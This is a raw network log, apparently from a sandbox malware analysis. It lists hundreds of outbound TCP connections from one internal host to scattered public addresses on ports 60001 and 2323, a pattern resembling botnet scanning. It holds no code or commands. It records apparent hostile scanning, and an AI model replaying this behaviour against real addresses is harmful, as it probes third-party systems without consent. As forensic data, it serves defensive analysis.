Source: global traffic	TCP traffic: 192.168.2.23:4130 -> 204.104.22.47:60001
Source: global traffic	TCP traffic: 192.168.2.23:4130 -> 102.250.71.147:60001
Source: global traffic	TCP traffic: 192.168.2.23:4130 -> 108.135.101.228:60001
Source: global traffic	TCP traffic: 192.168.2.23:4130 -> 42.243.58.157:60001
Source: global traffic	TCP traffic: 192.168.2.23:4130 -> 162.148.27.23:60001
Source: global traffic	TCP traffic: 192.168.2.23:4130 -> 205.131.142.3:60001
Source: global traffic	TCP traffic: 192.168.2.23:4130 -> 205.43.213.243:60001
Source: global traffic	TCP traffic: 192.168.2.23:4130 -> 184.19.80.1:60001
Source: global traffic	TCP traffic: 192.168.2.23:4130 -> 170.116.148.215:60001
Source: global traffic	TCP traffic: 192.168.2.23:4130 -> 209.194.78.181:60001
Source: global traffic	TCP traffic: 192.168.2.23:4130 -> 49.187.246.24:60001
Source: global traffic	TCP traffic: 192.168.2.23:4130 -> 58.80.145.74:60001
Source: global traffic	TCP traffic: 192.168.2.23:4130 -> 92.173.70.84:60001
Source: global traffic	TCP traffic: 192.168.2.23:4130 -> 27.123.39.83:60001
Source: global traffic	TCP traffic: 192.168.2.23:4130 -> 9.122.235.232:60001
Source: global traffic	TCP traffic: 192.168.2.23:4130 -> 98.202.128.107:60001
Source: global traffic	TCP traffic: 192.168.2.23:4130 -> 62.61.90.9:60001
Source: global traffic	TCP traffic: 192.168.2.23:4130 -> 101.20.99.68:60001
Source: global traffic	TCP traffic: 192.168.2.23:4130 -> 118.127.188.237:60001
Source: global traffic	TCP traffic: 192.168.2.23:4130 -> 175.4.141.155:60001
Source: global traffic	TCP traffic: 192.168.2.23:4130 -> 126.170.151.136:60001
Source: global traffic	TCP traffic: 192.168.2.23:4130 -> 72.0.2.185:60001
Source: global traffic	TCP traffic: 192.168.2.23:4130 -> 63.70.140.177:60001
Source: global traffic	TCP traffic: 192.168.2.23:4130 -> 75.100.121.18:60001
Source: global traffic	TCP traffic: 192.168.2.23:4130 -> 205.171.2.70:60001
Source: global traffic	TCP traffic: 192.168.2.23:4130 -> 206.110.173.208:60001
Source: global traffic	TCP traffic: 192.168.2.23:4130 -> 34.128.162.61:60001
Source: global traffic	TCP traffic: 192.168.2.23:4130 -> 52.85.76.115:60001
Source: global traffic	TCP traffic: 192.168.2.23:4130 -> 24.195.127.181:60001
Source: global traffic	TCP traffic: 192.168.2.23:4130 -> 199.79.30.112:60001
Source: global traffic	TCP traffic: 192.168.2.23:4130 -> 104.148.118.151:60001
Source: global traffic	TCP traffic: 192.168.2.23:4130 -> 218.248.195.66:60001
Source: global traffic	TCP traffic: 192.168.2.23:4130 -> 177.53.110.58:60001
Source: global traffic	TCP traffic: 192.168.2.23:4130 -> 204.178.227.18:60001
Source: global traffic	TCP traffic: 192.168.2.23:4130 -> 117.171.17.166:60001
Source: global traffic	TCP traffic: 192.168.2.23:4130 -> 31.177.78.54:60001
Source: global traffic	TCP traffic: 192.168.2.23:4130 -> 43.34.137.26:60001
Source: global traffic	TCP traffic: 192.168.2.23:4130 -> 23.141.147.200:60001
Source: global traffic	TCP traffic: 192.168.2.23:4130 -> 166.124.128.137:60001
Source: global traffic	TCP traffic: 192.168.2.23:4130 -> 84.176.187.228:60001
Source: global traffic	TCP traffic: 192.168.2.23:4130 -> 92.153.86.234:60001
Source: global traffic	TCP traffic: 192.168.2.23:4130 -> 85.125.69.236:60001
Source: global traffic	TCP traffic: 192.168.2.23:4130 -> 138.50.211.57:60001
Source: global traffic	TCP traffic: 192.168.2.23:4130 -> 113.74.47.138:60001
Source: global traffic	TCP traffic: 192.168.2.23:4130 -> 149.37.39.124:60001
Source: global traffic	TCP traffic: 192.168.2.23:4130 -> 49.60.114.131:60001
Source: global traffic	TCP traffic: 192.168.2.23:4130 -> 50.6.156.219:60001
Source: global traffic	TCP traffic: 192.168.2.23:4130 -> 57.246.114.35:60001
Source: global traffic	TCP traffic: 192.168.2.23:4130 -> 213.2.59.203:60001
Source: global traffic	TCP traffic: 192.168.2.23:4130 -> 77.132.108.192:60001
Source: global traffic	TCP traffic: 192.168.2.23:4130 -> 152.148.225.179:60001
Source: global traffic	TCP traffic: 192.168.2.23:4130 -> 184.190.239.68:60001
Source: global traffic	TCP traffic: 192.168.2.23:4130 -> 63.200.23.139:60001
Source: global traffic	TCP traffic: 192.168.2.23:4130 -> 39.64.169.120:60001
Source: global traffic	TCP traffic: 192.168.2.23:4130 -> 12.110.5.185:60001
Source: global traffic	TCP traffic: 192.168.2.23:4130 -> 220.86.84.11:60001
Source: global traffic	TCP traffic: 192.168.2.23:4130 -> 86.117.55.208:60001
Source: global traffic	TCP traffic: 192.168.2.23:4130 -> 70.253.237.163:60001
Source: global traffic	TCP traffic: 192.168.2.23:4130 -> 143.38.43.135:60001
Source: global traffic	TCP traffic: 192.168.2.23:4130 -> 170.212.36.250:60001
Source: global traffic	TCP traffic: 192.168.2.23:4130 -> 57.252.173.182:60001
Source: global traffic	TCP traffic: 192.168.2.23:4130 -> 188.119.53.17:60001
Source: global traffic	TCP traffic: 192.168.2.23:4130 -> 158.153.215.0:60001
Source: global traffic	TCP traffic: 192.168.2.23:4130 -> 210.46.213.169:60001
Source: global traffic	TCP traffic: 192.168.2.23:4130 -> 51.186.72.158:60001
Source: global traffic	TCP traffic: 192.168.2.23:4130 -> 198.102.110.243:60001
Source: global traffic	TCP traffic: 192.168.2.23:4130 -> 102.163.62.124:60001
Source: global traffic	TCP traffic: 192.168.2.23:4130 -> 41.247.130.12:60001
Source: global traffic	TCP traffic: 192.168.2.23:4130 -> 171.67.90.37:60001
Source: global traffic	TCP traffic: 192.168.2.23:4130 -> 82.202.76.99:60001
Source: global traffic	TCP traffic: 192.168.2.23:4130 -> 66.235.210.221:60001
Source: global traffic	TCP traffic: 192.168.2.23:4130 -> 188.214.188.40:60001
Source: global traffic	TCP traffic: 192.168.2.23:4130 -> 145.198.6.9:60001
Source: global traffic	TCP traffic: 192.168.2.23:4130 -> 126.99.207.92:60001
Source: global traffic	TCP traffic: 192.168.2.23:4130 -> 200.221.58.2:60001
Source: global traffic	TCP traffic: 192.168.2.23:4130 -> 49.225.196.232:60001
Source: global traffic	TCP traffic: 192.168.2.23:4130 -> 199.92.73.4:60001
Source: global traffic	TCP traffic: 192.168.2.23:4130 -> 221.7.167.37:60001
Source: global traffic	TCP traffic: 192.168.2.23:4130 -> 47.215.127.174:60001
Source: global traffic	TCP traffic: 192.168.2.23:4130 -> 189.130.166.117:60001
Source: global traffic	TCP traffic: 192.168.2.23:4130 -> 72.185.84.71:60001
Source: global traffic	TCP traffic: 192.168.2.23:4130 -> 221.207.206.217:60001
Source: global traffic	TCP traffic: 192.168.2.23:4130 -> 87.234.168.83:60001
Source: global traffic	TCP traffic: 192.168.2.23:4130 -> 154.130.195.93:60001
Source: global traffic	TCP traffic: 192.168.2.23:4130 -> 90.52.147.221:60001
Source: global traffic	TCP traffic: 192.168.2.23:4130 -> 64.0.122.109:60001
Source: global traffic	TCP traffic: 192.168.2.23:4130 -> 35.43.102.79:60001
Source: global traffic	TCP traffic: 192.168.2.23:4130 -> 170.124.49.220:60001
Source: global traffic	TCP traffic: 192.168.2.23:4130 -> 106.11.111.243:60001
Source: global traffic	TCP traffic: 192.168.2.23:4130 -> 171.60.230.133:60001
Source: global traffic	TCP traffic: 192.168.2.23:4130 -> 121.244.56.246:60001
Source: global traffic	TCP traffic: 192.168.2.23:4130 -> 165.78.100.196:60001
Source: global traffic	TCP traffic: 192.168.2.23:4130 -> 47.106.98.137:60001
Source: global traffic	TCP traffic: 192.168.2.23:4130 -> 64.213.153.190:60001
Source: global traffic	TCP traffic: 192.168.2.23:4130 -> 189.27.111.132:60001
Source: global traffic	TCP traffic: 192.168.2.23:4130 -> 131.46.139.231:60001
Source: global traffic	TCP traffic: 192.168.2.23:4130 -> 219.14.29.160:60001
Source: global traffic	TCP traffic: 192.168.2.23:4130 -> 216.59.183.87:60001
Source: global traffic	TCP traffic: 192.168.2.23:4130 -> 102.154.131.249:60001
Source: global traffic	TCP traffic: 192.168.2.23:4130 -> 168.176.92.67:60001
Source: global traffic	TCP traffic: 192.168.2.23:4130 -> 42.39.49.194:60001
Source: global traffic	TCP traffic: 192.168.2.23:4130 -> 91.240.153.157:60001
Source: global traffic	TCP traffic: 192.168.2.23:4130 -> 100.172.172.94:60001
Source: global traffic	TCP traffic: 192.168.2.23:4130 -> 162.122.23.157:60001
Source: global traffic	TCP traffic: 192.168.2.23:4130 -> 52.59.84.219:60001
Source: global traffic	TCP traffic: 192.168.2.23:4130 -> 206.104.250.66:60001
Source: global traffic	TCP traffic: 192.168.2.23:4130 -> 145.82.162.1:60001
Source: global traffic	TCP traffic: 192.168.2.23:4130 -> 64.229.118.47:60001
Source: global traffic	TCP traffic: 192.168.2.23:4130 -> 98.173.78.95:60001
Source: global traffic	TCP traffic: 192.168.2.23:4130 -> 75.137.78.52:60001
Source: global traffic	TCP traffic: 192.168.2.23:4130 -> 105.109.202.115:60001
Source: global traffic	TCP traffic: 192.168.2.23:4130 -> 81.26.181.163:60001
Source: global traffic	TCP traffic: 192.168.2.23:4130 -> 78.217.243.206:60001
Source: global traffic	TCP traffic: 192.168.2.23:4130 -> 90.226.19.67:60001
Source: global traffic	TCP traffic: 192.168.2.23:4130 -> 134.178.185.141:60001
Source: global traffic	TCP traffic: 192.168.2.23:4130 -> 167.131.112.47:60001
Source: global traffic	TCP traffic: 192.168.2.23:4130 -> 115.142.189.87:60001
Source: global traffic	TCP traffic: 192.168.2.23:4130 -> 59.176.56.235:60001
Source: global traffic	TCP traffic: 192.168.2.23:4130 -> 46.61.249.223:60001
Source: global traffic	TCP traffic: 192.168.2.23:4130 -> 103.110.188.157:60001
Source: global traffic	TCP traffic: 192.168.2.23:4130 -> 213.98.203.108:60001
Source: global traffic	TCP traffic: 192.168.2.23:4130 -> 8.71.110.201:60001
Source: global traffic	TCP traffic: 192.168.2.23:4130 -> 146.194.217.45:60001
Source: global traffic	TCP traffic: 192.168.2.23:4130 -> 189.38.30.163:60001
Source: global traffic	TCP traffic: 192.168.2.23:4130 -> 193.249.15.99:60001
Source: global traffic	TCP traffic: 192.168.2.23:4130 -> 63.62.99.32:60001
Source: global traffic	TCP traffic: 192.168.2.23:4130 -> 39.49.251.60:60001
Source: global traffic	TCP traffic: 192.168.2.23:4130 -> 123.31.56.31:60001
Source: global traffic	TCP traffic: 192.168.2.23:4130 -> 221.160.230.38:60001
Source: global traffic	TCP traffic: 192.168.2.23:4130 -> 206.50.2.71:60001
Source: global traffic	TCP traffic: 192.168.2.23:4130 -> 118.41.179.90:60001
Source: global traffic	TCP traffic: 192.168.2.23:4130 -> 59.202.82.124:60001
Source: global traffic	TCP traffic: 192.168.2.23:4130 -> 97.15.150.202:60001
Source: global traffic	TCP traffic: 192.168.2.23:4130 -> 91.154.241.60:60001
Source: global traffic	TCP traffic: 192.168.2.23:4130 -> 218.219.78.58:60001
Source: global traffic	TCP traffic: 192.168.2.23:4130 -> 175.163.14.13:60001
Source: global traffic	TCP traffic: 192.168.2.23:4130 -> 112.77.204.112:60001
Source: global traffic	TCP traffic: 192.168.2.23:4130 -> 157.143.228.28:60001
Source: global traffic	TCP traffic: 192.168.2.23:4130 -> 116.148.71.50:60001
Source: global traffic	TCP traffic: 192.168.2.23:4130 -> 177.31.69.210:60001
Source: global traffic	TCP traffic: 192.168.2.23:4130 -> 85.180.30.10:60001
Source: global traffic	TCP traffic: 192.168.2.23:4130 -> 121.51.75.206:60001
Source: global traffic	TCP traffic: 192.168.2.23:4130 -> 80.75.244.186:60001
Source: global traffic	TCP traffic: 192.168.2.23:4130 -> 24.150.191.118:60001
Source: global traffic	TCP traffic: 192.168.2.23:4130 -> 131.228.107.114:60001
Source: global traffic	TCP traffic: 192.168.2.23:4130 -> 96.234.22.205:60001
Source: global traffic	TCP traffic: 192.168.2.23:4130 -> 113.203.177.210:60001
Source: global traffic	TCP traffic: 192.168.2.23:4130 -> 78.239.80.242:60001
Source: global traffic	TCP traffic: 192.168.2.23:4130 -> 197.215.96.208:60001
Source: global traffic	TCP traffic: 192.168.2.23:4130 -> 141.195.211.17:60001
Source: global traffic	TCP traffic: 192.168.2.23:4130 -> 128.43.161.144:60001
Source: global traffic	TCP traffic: 192.168.2.23:4130 -> 154.53.188.97:60001
Source: global traffic	TCP traffic: 192.168.2.23:4130 -> 62.170.183.250:60001
Source: global traffic	TCP traffic: 192.168.2.23:4130 -> 104.238.156.186:60001
Source: global traffic	TCP traffic: 192.168.2.23:4130 -> 211.77.15.115:60001
Source: global traffic	TCP traffic: 192.168.2.23:4130 -> 178.209.159.54:60001
Source: global traffic	TCP traffic: 192.168.2.23:4130 -> 53.132.129.58:60001
Source: global traffic	TCP traffic: 192.168.2.23:4130 -> 183.183.11.238:60001
Source: global traffic	TCP traffic: 192.168.2.23:4130 -> 54.148.161.252:60001
Source: global traffic	TCP traffic: 192.168.2.23:4130 -> 102.217.4.229:60001
Source: global traffic	TCP traffic: 192.168.2.23:4130 -> 52.139.214.150:60001
Source: global traffic	TCP traffic: 192.168.2.23:4130 -> 41.10.131.159:60001
Source: global traffic	TCP traffic: 192.168.2.23:4130 -> 37.103.208.82:60001
Source: global traffic	TCP traffic: 192.168.2.23:4130 -> 165.243.232.172:60001
Source: global traffic	TCP traffic: 192.168.2.23:4130 -> 94.131.208.145:60001
Source: global traffic	TCP traffic: 192.168.2.23:4130 -> 85.204.177.121:60001
Source: global traffic	TCP traffic: 192.168.2.23:4130 -> 180.38.146.71:60001
Source: global traffic	TCP traffic: 192.168.2.23:4130 -> 13.121.119.204:60001
Source: global traffic	TCP traffic: 192.168.2.23:4130 -> 181.70.105.76:60001
Source: global traffic	TCP traffic: 192.168.2.23:4130 -> 42.186.64.146:60001
Source: global traffic	TCP traffic: 192.168.2.23:4130 -> 213.94.208.140:60001
Source: global traffic	TCP traffic: 192.168.2.23:4130 -> 218.101.15.171:60001
Source: global traffic	TCP traffic: 192.168.2.23:4130 -> 143.217.33.149:60001
Source: global traffic	TCP traffic: 192.168.2.23:4130 -> 213.60.104.67:60001
Source: global traffic	TCP traffic: 192.168.2.23:4130 -> 159.103.232.42:60001
Source: global traffic	TCP traffic: 192.168.2.23:4130 -> 200.16.172.228:60001
Source: global traffic	TCP traffic: 192.168.2.23:4130 -> 134.180.135.101:60001
Source: global traffic	TCP traffic: 192.168.2.23:4130 -> 64.31.82.27:60001
Source: global traffic	TCP traffic: 192.168.2.23:4130 -> 123.184.13.123:60001
Source: global traffic	TCP traffic: 192.168.2.23:4130 -> 168.30.71.151:60001
Source: global traffic	TCP traffic: 192.168.2.23:4130 -> 79.105.113.98:60001
Source: global traffic	TCP traffic: 192.168.2.23:4130 -> 159.45.93.177:60001
Source: global traffic	TCP traffic: 192.168.2.23:4130 -> 1.249.253.49:60001
Source: global traffic	TCP traffic: 192.168.2.23:4130 -> 191.71.122.180:60001
Source: global traffic	TCP traffic: 192.168.2.23:4130 -> 138.130.54.244:60001
Source: global traffic	TCP traffic: 192.168.2.23:4130 -> 211.95.156.134:60001
Source: global traffic	TCP traffic: 192.168.2.23:4130 -> 204.34.202.218:60001
Source: global traffic	TCP traffic: 192.168.2.23:4130 -> 27.129.17.238:60001
Source: global traffic	TCP traffic: 192.168.2.23:4130 -> 139.119.174.174:60001
Source: global traffic	TCP traffic: 192.168.2.23:4130 -> 19.11.209.241:60001
Source: global traffic	TCP traffic: 192.168.2.23:4130 -> 181.163.225.103:60001
Source: global traffic	TCP traffic: 192.168.2.23:4130 -> 146.166.66.176:60001
Source: global traffic	TCP traffic: 192.168.2.23:4130 -> 53.241.68.169:60001
Source: global traffic	TCP traffic: 192.168.2.23:4130 -> 165.224.32.1:60001
Source: global traffic	TCP traffic: 192.168.2.23:4130 -> 148.2.46.247:60001
Source: global traffic	TCP traffic: 192.168.2.23:4130 -> 223.31.146.6:60001
Source: global traffic	TCP traffic: 192.168.2.23:4130 -> 53.156.73.99:60001
Source: global traffic	TCP traffic: 192.168.2.23:4130 -> 67.26.138.164:60001
Source: global traffic	TCP traffic: 192.168.2.23:4130 -> 204.30.172.199:60001
Source: global traffic	TCP traffic: 192.168.2.23:4130 -> 13.106.158.158:60001
Source: global traffic	TCP traffic: 192.168.2.23:4130 -> 64.167.19.104:60001
Source: global traffic	TCP traffic: 192.168.2.23:4130 -> 36.59.194.9:60001
Source: global traffic	TCP traffic: 192.168.2.23:4130 -> 18.201.153.183:60001
Source: global traffic	TCP traffic: 192.168.2.23:4130 -> 80.30.148.99:60001
Source: global traffic	TCP traffic: 192.168.2.23:4130 -> 150.115.74.245:60001
Source: global traffic	TCP traffic: 192.168.2.23:4130 -> 126.151.9.173:60001
Source: global traffic	TCP traffic: 192.168.2.23:4130 -> 219.45.25.54:60001
Source: global traffic	TCP traffic: 192.168.2.23:4130 -> 221.19.192.72:60001
Source: global traffic	TCP traffic: 192.168.2.23:4130 -> 63.70.237.96:60001
Source: global traffic	TCP traffic: 192.168.2.23:4130 -> 118.230.56.163:60001
Source: global traffic	TCP traffic: 192.168.2.23:4130 -> 209.161.119.8:60001
Source: global traffic	TCP traffic: 192.168.2.23:4130 -> 167.239.42.199:60001
Source: global traffic	TCP traffic: 192.168.2.23:4130 -> 140.103.201.231:60001
Source: global traffic	TCP traffic: 192.168.2.23:4130 -> 203.226.54.209:60001
Source: global traffic	TCP traffic: 192.168.2.23:4130 -> 220.253.77.70:60001
Source: global traffic	TCP traffic: 192.168.2.23:4130 -> 93.11.192.15:60001
Source: global traffic	TCP traffic: 192.168.2.23:4130 -> 42.251.10.22:60001
Source: global traffic	TCP traffic: 192.168.2.23:4130 -> 65.40.166.222:60001
Source: global traffic	TCP traffic: 192.168.2.23:4130 -> 220.101.246.152:60001
Source: global traffic	TCP traffic: 192.168.2.23:4130 -> 94.242.40.15:60001
Source: global traffic	TCP traffic: 192.168.2.23:4130 -> 180.218.10.138:60001
Source: global traffic	TCP traffic: 192.168.2.23:4130 -> 211.180.119.4:60001
Source: global traffic	TCP traffic: 192.168.2.23:4130 -> 12.100.117.69:60001
Source: global traffic	TCP traffic: 192.168.2.23:4130 -> 115.98.131.89:60001
Source: global traffic	TCP traffic: 192.168.2.23:4130 -> 144.67.12.188:60001
Source: global traffic	TCP traffic: 192.168.2.23:4130 -> 66.102.253.38:60001
Source: global traffic	TCP traffic: 192.168.2.23:4130 -> 43.200.1.169:60001
Source: global traffic	TCP traffic: 192.168.2.23:4130 -> 108.1.197.129:60001
Source: global traffic	TCP traffic: 192.168.2.23:4130 -> 112.180.117.181:60001
Source: global traffic	TCP traffic: 192.168.2.23:4130 -> 219.53.241.65:60001
Source: global traffic	TCP traffic: 192.168.2.23:4130 -> 106.200.172.37:60001
Source: global traffic	TCP traffic: 192.168.2.23:4130 -> 110.173.153.24:60001
Source: global traffic	TCP traffic: 192.168.2.23:4130 -> 150.50.5.240:60001
Source: global traffic	TCP traffic: 192.168.2.23:4130 -> 31.64.215.213:60001
Source: global traffic	TCP traffic: 192.168.2.23:4130 -> 25.114.69.244:60001
Source: global traffic	TCP traffic: 192.168.2.23:4130 -> 156.130.199.45:60001
Source: global traffic	TCP traffic: 192.168.2.23:4130 -> 212.30.94.32:60001
Source: global traffic	TCP traffic: 192.168.2.23:4130 -> 51.82.65.48:60001
Source: global traffic	TCP traffic: 192.168.2.23:4130 -> 104.168.22.74:60001
Source: global traffic	TCP traffic: 192.168.2.23:4130 -> 47.169.173.105:60001
Source: global traffic	TCP traffic: 192.168.2.23:4130 -> 218.77.199.210:60001
Source: global traffic	TCP traffic: 192.168.2.23:4130 -> 211.197.143.24:60001
Source: global traffic	TCP traffic: 192.168.2.23:4130 -> 75.150.46.194:60001
Source: global traffic	TCP traffic: 192.168.2.23:4130 -> 34.15.98.110:60001
Source: global traffic	TCP traffic: 192.168.2.23:4130 -> 53.136.174.175:60001
Source: global traffic	TCP traffic: 192.168.2.23:4130 -> 212.224.185.227:60001
Source: global traffic	TCP traffic: 192.168.2.23:4130 -> 79.15.22.120:60001
Source: global traffic	TCP traffic: 192.168.2.23:4130 -> 182.123.65.120:60001
Source: global traffic	TCP traffic: 192.168.2.23:4130 -> 34.201.20.226:60001
Source: global traffic	TCP traffic: 192.168.2.23:4130 -> 210.19.6.220:60001
Source: global traffic	TCP traffic: 192.168.2.23:4130 -> 142.113.189.218:60001
Source: global traffic	TCP traffic: 192.168.2.23:4130 -> 79.98.85.53:60001
Source: global traffic	TCP traffic: 192.168.2.23:4130 -> 168.217.32.180:60001
Source: global traffic	TCP traffic: 192.168.2.23:4130 -> 209.58.191.185:60001
Source: global traffic	TCP traffic: 192.168.2.23:4130 -> 200.141.124.163:60001
Source: global traffic	TCP traffic: 192.168.2.23:4130 -> 141.73.85.230:60001
Source: global traffic	TCP traffic: 192.168.2.23:4130 -> 170.134.204.25:60001
Source: global traffic	TCP traffic: 192.168.2.23:4130 -> 104.78.168.74:60001
Source: global traffic	TCP traffic: 192.168.2.23:4130 -> 37.201.110.186:60001
Source: global traffic	TCP traffic: 192.168.2.23:4130 -> 191.210.68.123:60001
Source: global traffic	TCP traffic: 192.168.2.23:4130 -> 194.248.122.245:60001
Source: global traffic	TCP traffic: 192.168.2.23:4130 -> 45.122.197.5:60001
Source: global traffic	TCP traffic: 192.168.2.23:4130 -> 45.34.197.199:60001
Source: global traffic	TCP traffic: 192.168.2.23:4130 -> 121.212.24.218:60001
Source: global traffic	TCP traffic: 192.168.2.23:4130 -> 76.53.216.237:60001
Source: global traffic	TCP traffic: 192.168.2.23:4130 -> 217.99.14.181:60001
Source: global traffic	TCP traffic: 192.168.2.23:4130 -> 67.122.179.163:60001
Source: global traffic	TCP traffic: 192.168.2.23:4130 -> 86.246.199.204:60001
Source: global traffic	TCP traffic: 192.168.2.23:4130 -> 193.31.73.12:60001
Source: global traffic	TCP traffic: 192.168.2.23:4130 -> 141.204.103.150:60001
Source: global traffic	TCP traffic: 192.168.2.23:4130 -> 92.119.251.194:60001
Source: global traffic	TCP traffic: 192.168.2.23:4130 -> 14.219.26.52:60001
Source: global traffic	TCP traffic: 192.168.2.23:4130 -> 187.104.114.241:60001
Source: global traffic	TCP traffic: 192.168.2.23:4130 -> 70.1.151.55:60001
Source: global traffic	TCP traffic: 192.168.2.23:4130 -> 197.87.198.148:60001
Source: global traffic	TCP traffic: 192.168.2.23:4130 -> 194.72.227.225:60001
Source: global traffic	TCP traffic: 192.168.2.23:4130 -> 105.17.79.177:60001
Source: global traffic	TCP traffic: 192.168.2.23:4130 -> 216.132.187.213:60001
Source: global traffic	TCP traffic: 192.168.2.23:4130 -> 57.137.242.73:60001
Source: global traffic	TCP traffic: 192.168.2.23:4130 -> 128.33.169.225:60001
Source: global traffic	TCP traffic: 192.168.2.23:4130 -> 81.137.41.169:60001
Source: global traffic	TCP traffic: 192.168.2.23:4130 -> 182.110.70.37:60001
Source: global traffic	TCP traffic: 192.168.2.23:4130 -> 141.113.214.236:60001
Source: global traffic	TCP traffic: 192.168.2.23:4130 -> 75.29.209.6:60001
Source: global traffic	TCP traffic: 192.168.2.23:4130 -> 44.108.121.172:60001
Source: global traffic	TCP traffic: 192.168.2.23:4130 -> 201.43.65.103:60001
Source: global traffic	TCP traffic: 192.168.2.23:4130 -> 49.83.194.98:60001
Source: global traffic	TCP traffic: 192.168.2.23:4130 -> 208.176.91.92:60001
Source: global traffic	TCP traffic: 192.168.2.23:4130 -> 110.100.126.207:60001
Source: global traffic	TCP traffic: 192.168.2.23:4130 -> 176.214.109.243:60001
Source: global traffic	TCP traffic: 192.168.2.23:4130 -> 121.105.5.113:60001
Source: global traffic	TCP traffic: 192.168.2.23:4130 -> 50.144.52.237:60001
Source: global traffic	TCP traffic: 192.168.2.23:4130 -> 126.87.112.223:60001
Source: global traffic	TCP traffic: 192.168.2.23:4130 -> 86.0.43.3:60001
Source: global traffic	TCP traffic: 192.168.2.23:4130 -> 17.213.174.148:60001
Source: global traffic	TCP traffic: 192.168.2.23:4130 -> 120.167.104.186:60001
Source: global traffic	TCP traffic: 192.168.2.23:4130 -> 87.142.140.186:60001
Source: global traffic	TCP traffic: 192.168.2.23:4130 -> 191.23.91.109:60001
Source: global traffic	TCP traffic: 192.168.2.23:4898 -> 134.174.7.104:2323
Source: global traffic	TCP traffic: 192.168.2.23:4898 -> 81.213.21.44:2323
Source: global traffic	TCP traffic: 192.168.2.23:4898 -> 139.194.184.58:2323
Source: global traffic	TCP traffic: 192.168.2.23:4898 -> 143.155.238.193:2323
Source: global traffic	TCP traffic: 192.168.2.23:4898 -> 40.200.62.127:2323
Source: global traffic	TCP traffic: 192.168.2.23:4898 -> 62.10.204.3:2323
Source: global traffic	TCP traffic: 192.168.2.23:4898 -> 84.104.177.244:2323
Source: global traffic	TCP traffic: 192.168.2.23:4898 -> 184.190.105.131:2323
Source: global traffic	TCP traffic: 192.168.2.23:4898 -> 38.190.99.240:2323
Source: global traffic	TCP traffic: 192.168.2.23:4898 -> 100.218.160.21:2323
Source: global traffic	TCP traffic: 192.168.2.23:4898 -> 31.205.184.8:2323
Source: global traffic	TCP traffic: 192.168.2.23:4898 -> 179.117.184.102:2323
Source: global traffic	TCP traffic: 192.168.2.23:4898 -> 137.251.37.14:2323
Source: global traffic	TCP traffic: 192.168.2.23:4898 -> 178.46.13.39:2323
Source: global traffic	TCP traffic: 192.168.2.23:4898 -> 171.97.185.187:2323
Source: global traffic	TCP traffic: 192.168.2.23:4898 -> 68.20.51.239:2323
Source: global traffic	TCP traffic: 192.168.2.23:4130 -> 57.221.218.102:60001
Source: global traffic	TCP traffic: 192.168.2.23:4130 -> 54.161.244.80:60001
Source: global traffic	TCP traffic: 192.168.2.23:4130 -> 213.0.223.166:60001
Source: global traffic	TCP traffic: 192.168.2.23:4130 -> 87.252.199.25:60001
Source: global traffic	TCP traffic: 192.168.2.23:4130 -> 59.171.40.175:60001
Source: global traffic	TCP traffic: 192.168.2.23:4130 -> 152.80.27.41:60001
Source: global traffic	TCP traffic: 192.168.2.23:4130 -> 105.23.66.109:60001
Source: global traffic	TCP traffic: 192.168.2.23:4130 -> 183.73.50.249:60001
Source: global traffic	TCP traffic: 192.168.2.23:4130 -> 89.134.84.211:60001
Source: global traffic	TCP traffic: 192.168.2.23:4130 -> 183.228.49.28:60001
Source: global traffic	TCP traffic: 192.168.2.23:4130 -> 136.46.203.132:60001
Source: global traffic	TCP traffic: 192.168.2.23:4130 -> 13.246.136.185:60001
Source: global traffic	TCP traffic: 192.168.2.23:4130 -> 145.201.217.28:60001
Source: global traffic	TCP traffic: 192.168.2.23:4130 -> 202.202.101.71:60001
Source: global traffic	TCP traffic: 192.168.2.23:4130 -> 65.121.192.226:60001
Source: global traffic	TCP traffic: 192.168.2.23:4130 -> 147.3.86.78:60001
Source: global traffic	TCP traffic: 192.168.2.23:4130 -> 193.71.169.54:60001
Source: global traffic	TCP traffic: 192.168.2.23:4130 -> 31.230.12.240:60001
Source: global traffic	TCP traffic: 192.168.2.23:4130 -> 96.176.60.215:60001
Source: global traffic	TCP traffic: 192.168.2.23:4130 -> 5.52.208.142:60001
Source: global traffic	TCP traffic: 192.168.2.23:4130 -> 72.232.230.16:60001
Source: global traffic	TCP traffic: 192.168.2.23:4130 -> 132.132.234.242:60001
Source: global traffic	TCP traffic: 192.168.2.23:4130 -> 105.177.161.121:60001
Source: global traffic	TCP traffic: 192.168.2.23:4130 -> 211.192.56.6:60001
Source: global traffic	TCP traffic: 192.168.2.23:4130 -> 146.142.75.245:60001
Source: global traffic	TCP traffic: 192.168.2.23:4130 -> 218.121.252.51:60001
Source: global traffic	TCP traffic: 192.168.2.23:4130 -> 182.140.42.35:60001
Source: global traffic	TCP traffic: 192.168.2.23:4130 -> 188.68.169.97:60001
Source: global traffic	TCP traffic: 192.168.2.23:4130 -> 217.192.42.234:60001
Source: global traffic	TCP traffic: 192.168.2.23:4130 -> 196.208.44.94:60001
Source: global traffic	TCP traffic: 192.168.2.23:4130 -> 44.12.46.184:60001
Source: global traffic	TCP traffic: 192.168.2.23:4130 -> 185.127.7.37:60001
Source: global traffic	TCP traffic: 192.168.2.23:4130 -> 130.171.30.131:60001
Source: global traffic	TCP traffic: 192.168.2.23:4130 -> 143.46.187.53:60001
Source: global traffic	TCP traffic: 192.168.2.23:4130 -> 126.25.64.104:60001
Source: global traffic	TCP traffic: 192.168.2.23:4130 -> 92.45.157.115:60001
Source: global traffic	TCP traffic: 192.168.2.23:4130 -> 190.37.37.93:60001
Source: global traffic	TCP traffic: 192.168.2.23:4130 -> 120.227.176.79:60001
Source: global traffic	TCP traffic: 192.168.2.23:4130 -> 144.88.159.127:60001
Source: global traffic	TCP traffic: 192.168.2.23:4130 -> 1.41.138.174:60001
Source: global traffic	TCP traffic: 192.168.2.23:4130 -> 32.120.159.114:60001
Source: global traffic	TCP traffic: 192.168.2.23:4130 -> 211.35.167.140:60001
Source: global traffic	TCP traffic: 192.168.2.23:4130 -> 65.245.143.215:60001
Source: global traffic	TCP traffic: 192.168.2.23:4130 -> 41.194.149.93:60001
Source: global traffic	TCP traffic: 192.168.2.23:4130 -> 198.51.157.210:60001
Source: global traffic	TCP traffic: 192.168.2.23:4130 -> 208.13.75.193:60001
Source: global traffic	TCP traffic: 192.168.2.23:4130 -> 178.45.246.138:60001
Source: global traffic	TCP traffic: 192.168.2.23:4130 -> 46.162.201.113:60001
Source: global traffic	TCP traffic: 192.168.2.23:4130 -> 1.189.255.102:60001
Source: global traffic	TCP traffic: 192.168.2.23:4130 -> 176.7.191.7:60001
Source: global traffic	TCP traffic: 192.168.2.23:4130 -> 216.77.187.138:60001
